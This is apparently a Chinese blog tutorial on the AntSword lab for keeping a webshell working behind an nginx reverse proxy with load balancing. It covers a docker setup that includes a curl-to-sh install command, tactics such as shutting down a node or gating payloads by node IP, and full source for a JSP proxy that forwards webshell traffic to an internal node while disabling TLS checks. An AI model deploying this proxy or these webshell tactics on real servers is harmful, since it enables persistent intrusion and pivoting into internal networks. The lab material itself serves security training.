当前位置: 首页 > news >正文

【安全】nginx反向代理+负载均衡上传webshell

目录

一、负载均衡反向代理下上传webshell

Ⅰ、环境搭建

①下载蚁剑,于github获取官方版:

②下载docker&docker-compose

③结合前面启动环境

 ④验证

负载均衡下webshell上传


一、负载均衡反向代理下上传webshell

什么是反向代理?

        通常的代理服务器,只用于代理内部网络对Internet的连接请求,客户机必须指定代理服务器,并将本来要直接发送到Web服务器上的http请求发送 到代理服务器中。当一个代理服务器能够代理外部网络上的主机,访问内部网络时,这种代理服务的方式称为反向代理服务。

什么是负载均衡?

        负载均衡用于从“upstream”模块定义的后端服务器列表中选取一台服务器接受用户的请求;即把请求均匀的分摊给上游的应用服务器。最基本的配置方式便是轮询:

负载均衡策略

策略

轮询

根据请求顺序分配

weight

根据权重大小分配

ip_hash

根据ip分配

least_conn

根据(最小)连接数分配

fair(第三方)

根据响应时间分配

url_hash(第三方)

依据URL分配

Ⅰ、环境搭建

①下载蚁剑,于github获取官方版:

GitHub - AntSwordProject/AntSword-Labs: Awesome environment for antsword tests

②下载docker&docker-compose

方式一
//安装需要的软件包, yum-util 提供yum-config-manager功能,另两个是devicemapper驱动依赖
yum install -y yum-utils device-mapper-persistent-data lvm2
//设置yum源
yum-config-manager --add-repo http://download.docker.com/linux/centos/docker-ce.repo//中央仓库
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo//阿里云仓库
//安装
yum -y install docker-ce.x86_64

【按照这个搞最后我是启动环境的时候出问题了,经过参考高手有了方式二】

方式二
//在 Linux上 安装 Docker
curl -sSL https://get.daocloud.io/docker | sh
//安装 Docker Compose
curl -L https://get.daocloud.io/docker/compose/releases/download/v2.16.0/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose
//给予执行权限
chmod +x /usr/local/bin/docker-compose
//启动docker服务
systemctl start docker

③结合前面启动环境

//我的蚁剑放在/root下的
cd /root/AntSword-Labs-master/loadbalance/loadbalance-jsp
//启动环境
docker-compose up -d

//查看端口
docker ps -a

 ④验证

【访问0.0.0.0:18080 (外部无法直接访问,环境搭建成功)】

目前整体的结构图如下,Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,在外部是没法直接访问到的。

用shell尝试连接:

负载均衡下webshell上传

难点

难点一:需要在每一台节点的相同位置上传相同内容的webshell

我们需要在每一台节点的相同位置都上传相同内容的 WebShell一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用

难点二:无法预测下次的请求交给哪台机器去执行

我们执行 ifconfig 查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,,,,

难点三:当我们需要上传一些工具时,麻烦来了:

由于 antSword 上传文件时,采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法

难点四:目标机器不能出外网:

由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

解决方案

方法一:关机/停服

关掉其中一台机器,以缩小流量转发范围。但是第一:这种方法极大可能会被对方管理员察觉;第二:有可能造成公司的财产损失(测试时使用无所谓)。

方法二:判断是否执行

既然无法预测下一次是哪台机器去执行,那可以让 Shell 在执行 Payload 之前,先判断一下要不要执行:

MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`

echo $MYIP

方法三: 在Web 层做一次 HTTP 流量转发(优点:低权限可用,仅影响webshell的请求。缺点:需要LBSNode1和LBSNode2之间能够通讯)

虽然,无法用 AntSword 直接访问 LBSNode1 的 8080 端口,但是除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 LBSNode1 这台机器的 8080 端口的。

我们通过Nginx直接访问LBSNode1,然后把请求发给LBSNode2;LBSNode2 上面的 /antproxy.jsp 把请求重组之后,传给了LBSNode1 的 /ant.jsp

将http://192.168.179.129:18080/antproxy.jsp作为url地址

/antproxy.jsp的代码如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%@ page import="javax.net.ssl.*" %>

<%@ page import="java.io.ByteArrayOutputStream" %>

<%@ page import="java.io.DataInputStream" %>

<%@ page import="java.io.InputStream" %>

<%@ page import="java.io.OutputStream" %>

<%@ page import="java.net.HttpURLConnection" %>

<%@ page import="java.net.URL" %>

<%@ page import="java.security.KeyManagementException" %>

<%@ page import="java.security.NoSuchAlgorithmException" %>

<%@ page import="java.security.cert.CertificateException" %>

<%@ page import="java.security.cert.X509Certificate" %>

<%!

public static void ignoreSsl() throws Exception {

HostnameVerifier hv = new HostnameVerifier() {

public boolean verify(String urlHostName, SSLSession session) {

return true;

}

};

trustAllHttpsCertificates();

HttpsURLConnection.setDefaultHostnameVerifier(hv);

}

private static void trustAllHttpsCertificates() throws Exception {

TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {

public X509Certificate[] getAcceptedIssuers() {

return null;

}

@Override

public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {

// Not implemented

}

@Override

public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {

// Not implemented

}

} };

try {

SSLContext sc = SSLContext.getInstance("TLS");

sc.init(null, trustAllCerts, new java.security.SecureRandom());

HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());

} catch (KeyManagementException e) {

e.printStackTrace();

} catch (NoSuchAlgorithmException e) {

e.printStackTrace();

}

}

%>

<%

String target = "http://172.19.0.2:8080/ant.jsp";

URL url = new URL(target);

if ("https".equalsIgnoreCase(url.getProtocol())) {

ignoreSsl();

}

HttpURLConnection conn = (HttpURLConnection)url.openConnection();

StringBuilder sb = new StringBuilder();

conn.setRequestMethod(request.getMethod());

conn.setConnectTimeout(30000);

conn.setDoOutput(true);

conn.setDoInput(true);

conn.setInstanceFollowRedirects(false);

conn.connect();

ByteArrayOutputStream baos=new ByteArrayOutputStream();

OutputStream out2 = conn.getOutputStream();

DataInputStream in=new DataInputStream(request.getInputStream());

byte[] buf = new byte[1024];

int len = 0;

while ((len = in.read(buf)) != -1) {

baos.write(buf, 0, len);

}

baos.flush();

baos.writeTo(out2);

baos.close();

InputStream inputStream = conn.getInputStream();

OutputStream out3=response.getOutputStream();

int len2 = 0;

while ((len2 = inputStream.read(buf)) != -1) {

out3.write(buf, 0, len2);

}

out3.flush();

out3.close();

%>

多用蚁剑上传几次,创建时多创建几次(因为蚁剑本身有点小问题)

相关文章:

【安全】nginx反向代理+负载均衡上传webshell

目录 一、负载均衡反向代理下上传webshell Ⅰ、环境搭建 ①下载蚁剑&#xff0c;于github获取官方版&#xff1a; ②下载docker&docker-compose ③结合前面启动环境 ④验证 负载均衡下webshell上传 一、负载均衡反向代理下上传webshell 什么是反向代理&#xff1f; 通常的代…...

线程池框架

这是之前有做的一个可以接受用户传入任意类型的任务函数和任意参数&#xff0c;并且能拿到任务对应返回值的一个线程池框架&#xff0c;可以链接成动态库&#xff0c;用在相关项目里面。一共实现了两版&#xff0c;都是支持fixed和cached模式的&#xff0c;半同步半异步的&…...

【TCP的拥塞控制】基于窗口的拥塞控制

TCP的拥塞窗口CWND大小和传输轮次n的关系如下所示。&#xff08;本题10分&#xff09; cwnd12481632333435363738394041422122232425261248N1234567891011121314151617181920212223242526 问题&#xff1a; &#xff08;1&#xff09;慢开始阶段的时间间隔&#xff1f;&#…...

STP协议基础

STP协议技术来源二层环路及危害二层交换机网络的冗余性与环路人为错误导致的二层环路二层环路带来的问题STP生成树协议STP概述STP基本概念桥ID根桥COSTRPC&#xff08;Root Path Cost&#xff09;根路径开销PORT ID端口IDBPDU桥协议数据单元STP的计算过程&#xff08;1&#xf…...

Linux上面配置Apache2支持Https(ssl)具体方案实现

虽然Nginx比较流行&#xff0c;但是由于一些老项目用到了Apache2来支持Web服务&#xff0c;最近想给服务上一个Https支持&#xff0c;虽然看似教程简单&#xff0c;但是也遇到一些特殊情况&#xff0c;经历了一番折腾也算是解决了所有问题&#xff0c;将过程记录如下。演示是基…...

[Linux]进程替换

&#x1f941;作者&#xff1a; 华丞臧. &#x1f4d5;​​​​专栏&#xff1a;【LINUX】 各位读者老爷如果觉得博主写的不错&#xff0c;请诸位多多支持(点赞收藏关注)。如果有错误的地方&#xff0c;欢迎在评论区指出。 推荐一款刷题网站 &#x1f449; LeetCode刷题网站 文…...

常见的锁策略面试题

你是怎么理解乐观锁和悲观锁的&#xff0c;具体怎么实现呢&#xff1f; 悲观锁认为多个线程访问同一个共享变量冲突的概率较大, 会在每次访问共享变量之前都去真正加锁 乐观锁认为多个线程访问同一个共享变量冲突的概率不大. 并不会真的加锁, 而是直接尝试访问数据. 在访问的…...

设计师一定要知道这几个网站,解决你80%的设计素材。

本期推荐一波设计师必备的设计素材网站&#xff0c;设计党赶紧马住&#xff01;能解决你日常设计中80%的素材。 1、菜鸟图库 菜鸟图库-免费设计素材下载 这是一个为新手设计师提供免费素材的设计网站&#xff0c;站内有超多平面模板、海报、UI设计、电商设计等相关素材&#x…...

QT基础入门

学习视频&#xff1a;QT开发概述_哔哩哔哩_bilibili 1.QT开发概述 1.什么是QT QT是一个1991年由Qt Company开发的跨平台C图形用户界面应用程序开发框架。它既可以开发GUI程序&#xff0c;也可用于开发非GUI程序&#xff0c;比如控制台工具和服务器。Qt是面向对象的框架&#…...

高数不定积分72题解答

题目来源&#xff1a;这72道积分题目会积了&#xff0c;绝对是高高手 作者&#xff1a; 湖心亭看雪 第一题 原式∫15x3dx15∫15x3d(5x3)15ln(5x3)C\begin{aligned} \text{原式}&\int \frac{1}{5x3}dx \\ &\frac{1}{5} \int\frac{1}{5x3}d(5x3) \\ &\frac{1}{5} ln…...

基于北方苍鹰算法优化LSTM(NGO-LSTM)研究(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…...

Linux内核启动(理论,0.11版本)分段与分页

为什么要虚拟内存 我们知道&#xff0c;在之前上微机原理时&#xff0c;我们的程序是可以直接访问内存的&#xff0c;而且访问的是直接的物理内存&#xff0c;在实模式下&#xff0c;寄存器是16位的&#xff0c;数组总线&#xff08;data bus&#xff09;是16位的&#xff0c;…...

数据与C(字符串)

目录 一.概念引入 二.字符串&#xff08;数组存储&#xff0c;必须以\0结尾&#xff09; 三.错误示范 四.strlen&#xff08;&#xff09;和sizeof()相对于字符串的不同 一.概念引入 “a”,a哪个是字符哪个又是字符串&#xff0c;嘿嘿不用猜了 我们在上一章中说过&#x…...

Python+Go实践(电商架构三)

文章目录服务发现集成consul负载均衡负载均衡算法实现配置中心nacos服务发现 我们之前的架构是通过ipport来调用的python的API&#xff0c;这样做的弊端是 如果新加一个服务&#xff0c;就要到某个服务改web&#xff08;go&#xff09;层的调用代码&#xff0c;配置IP/Port并发…...

基于 MySQL 排它锁实现分布式可重入锁解决方案

一、MySQL 排它锁和共享锁 在进行实验前&#xff0c;先来了解下MySQL 的排它锁和共享锁&#xff0c;在 MySQL 中的锁分为表锁和行锁&#xff0c;在行锁中锁又分成了排它锁和共享锁两种类型。 1. 排它锁 排他锁又称为写锁&#xff0c;简称X锁&#xff0c;是一种悲观锁&#x…...

【大数据】Hadoop-HA-Federation-3.3.1集群高可用联邦安装部署文档(建议收藏哦)

背景概述 单 NameNode 的架构使得 HDFS 在集群扩展性和性能上都有潜在的问题&#xff0c;当集群大到一定程度后&#xff0c;NameNode 进程使用的内存可能会达到上百 G&#xff0c;NameNode 成为了性能的瓶颈。因而提出了 namenode 水平扩展方案-- Federation。 Federation 中…...

【设计模式之美 设计原则与思想:面向对象】14 | 实战二(下):如何利用面向对象设计和编程开发接口鉴权功能?

在上一节课中&#xff0c;针对接口鉴权功能的开发&#xff0c;我们讲了如何进行面向对象分析&#xff08;OOA&#xff09;&#xff0c;也就是需求分析。实际上&#xff0c;需求定义清楚之后&#xff0c;这个问题就已经解决了一大半&#xff0c;这也是为什么我花了那么多篇幅来讲…...

工作技术小结

2023/1/31 关于后端接口编写小结 1&#xff0c;了解小程序原型图流程和细节性的东西 2&#xff0c;数据库关联结构仔细分析&#xff0c;找到最容易查询的关键字段&#xff0c;标语表之间靠什么关联 2023/2/10 在web抓包过程中&#xff0c;如果要实现批量抓取&#xff0c;必须解…...

无重复字符的最长子串-力扣3-java

一、题目描述给定一个字符串 s &#xff0c;请你找出其中不含有重复字符的 最长子串 的长度。示例 1:输入: s "abcabcbb"输出: 3 解释: 因为无重复字符的最长子串是 "abc"&#xff0c;所以其长度为 3。示例 2:输入: s "bbbbb"输出: 1解释: 因为…...

java ssm高校教材管理平台 idea maven

设计并且实现一个基于JSP技术的高校教材管理平台的设计与实现。采用MYSQL为数据库开发平台&#xff0c;SSM框架&#xff0c;Tomcat网络信息服务作为应用服务器。高校教材管理平台的设计与实现的功能已基本实现&#xff0c;主要学生、教材管理、学习教材、教材入库、教材领取、缴…...

如何5分钟掌握Jump:从安装到高效使用的完整教程

如何5分钟掌握Jump&#xff1a;从安装到高效使用的完整教程 【免费下载链接】jump Jump helps you navigate faster by learning your habits. ✌️ 项目地址: https://gitcode.com/gh_mirrors/ju/jump Jump是一款能够通过学习用户习惯来加速导航的命令行工具&#xff0…...

如何使用Android Sunflower构建可预测UI:掌握单向数据流的终极指南

如何使用Android Sunflower构建可预测UI&#xff1a;掌握单向数据流的终极指南 【免费下载链接】sunflower A gardening app illustrating Android development best practices with migrating a View-based app to Jetpack Compose. 项目地址: https://gitcode.com/gh_mirro…...

面向软件测试从业者的多模态AI系统评估体系构建指南

随着人工智能技术的飞速演进&#xff0c;多模态AI系统正逐渐从实验室走向广泛的产业应用。这类系统能够同时处理和理解文本、图像、音频、视频等多种模态的信息&#xff0c;并实现跨模态的语义融合与推理。对于软件测试从业者而言&#xff0c;评估此类系统的复杂性远超传统单模…...

开源协作平台Octopal:整合Git、文档与任务的项目管理利器

1. 项目概述&#xff1a;一个为开发者量身定制的开源协作平台如果你是一名开发者&#xff0c;或者是一个小型技术团队的负责人&#xff0c;那么你一定对这样的场景不陌生&#xff1a;手头有几个并行的项目&#xff0c;团队成员分散&#xff0c;沟通主要靠即时通讯工具&#xff…...

手机号逆向查询QQ号:3分钟快速掌握Python查询技巧

手机号逆向查询QQ号&#xff1a;3分钟快速掌握Python查询技巧 【免费下载链接】phone2qq 项目地址: https://gitcode.com/gh_mirrors/ph/phone2qq 你是否曾需要快速验证手机号对应的QQ账号&#xff1f;手机号查QQ号工具是一个简单高效的Python开源项目&#xff0c;让你…...

【Perplexity学术研究黄金法则】:20年科研老炮亲授5大避坑指南与效率翻倍实战技巧

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;Perplexity学术研究黄金法则的底层逻辑 Perplexity&#xff08;困惑度&#xff09;并非单纯的语言模型评估指标&#xff0c;而是信息论中熵概念在序列建模中的直接映射——它量化了模型对真实语料分布的…...

Meshroom终极指南:免费开源3D重建软件,从照片到三维模型的完整解决方案 [特殊字符]

Meshroom终极指南&#xff1a;免费开源3D重建软件&#xff0c;从照片到三维模型的完整解决方案 &#x1f680; 【免费下载链接】Meshroom Node-based Visual Programming Toolbox 项目地址: https://gitcode.com/gh_mirrors/me/Meshroom Meshroom是一款革命性的开源3D重…...

Illustrator脚本合集:设计师的10倍效率提升神器

Illustrator脚本合集&#xff1a;设计师的10倍效率提升神器 【免费下载链接】illustrator-scripts Adobe Illustrator scripts 项目地址: https://gitcode.com/gh_mirrors/il/illustrator-scripts 你是否厌倦了在Adobe Illustrator中重复繁琐的操作&#xff1f;是否渴望…...

STM32 PID温度控制系统:实现±0.5°C高精度控制的完整指南

STM32 PID温度控制系统&#xff1a;实现0.5C高精度控制的完整指南 【免费下载链接】STM32 项目地址: https://gitcode.com/gh_mirrors/stm322/STM32 你是否曾面临温度控制系统的精度不足、响应迟缓或稳定性差的困扰&#xff1f;在工业自动化、实验室研究和智能家居领域…...

借助PD协议分析仪洞悉Type-C充电握手全流程

1. 为什么需要PD协议分析仪&#xff1f; Type-C接口如今已经成为手机、笔记本等设备的标配&#xff0c;但很多用户都遇到过这样的尴尬&#xff1a;买了个第三方充电器&#xff0c;插上设备后要么完全没反应&#xff0c;要么只能以5V慢充。这背后往往是因为PD&#xff08;Power …...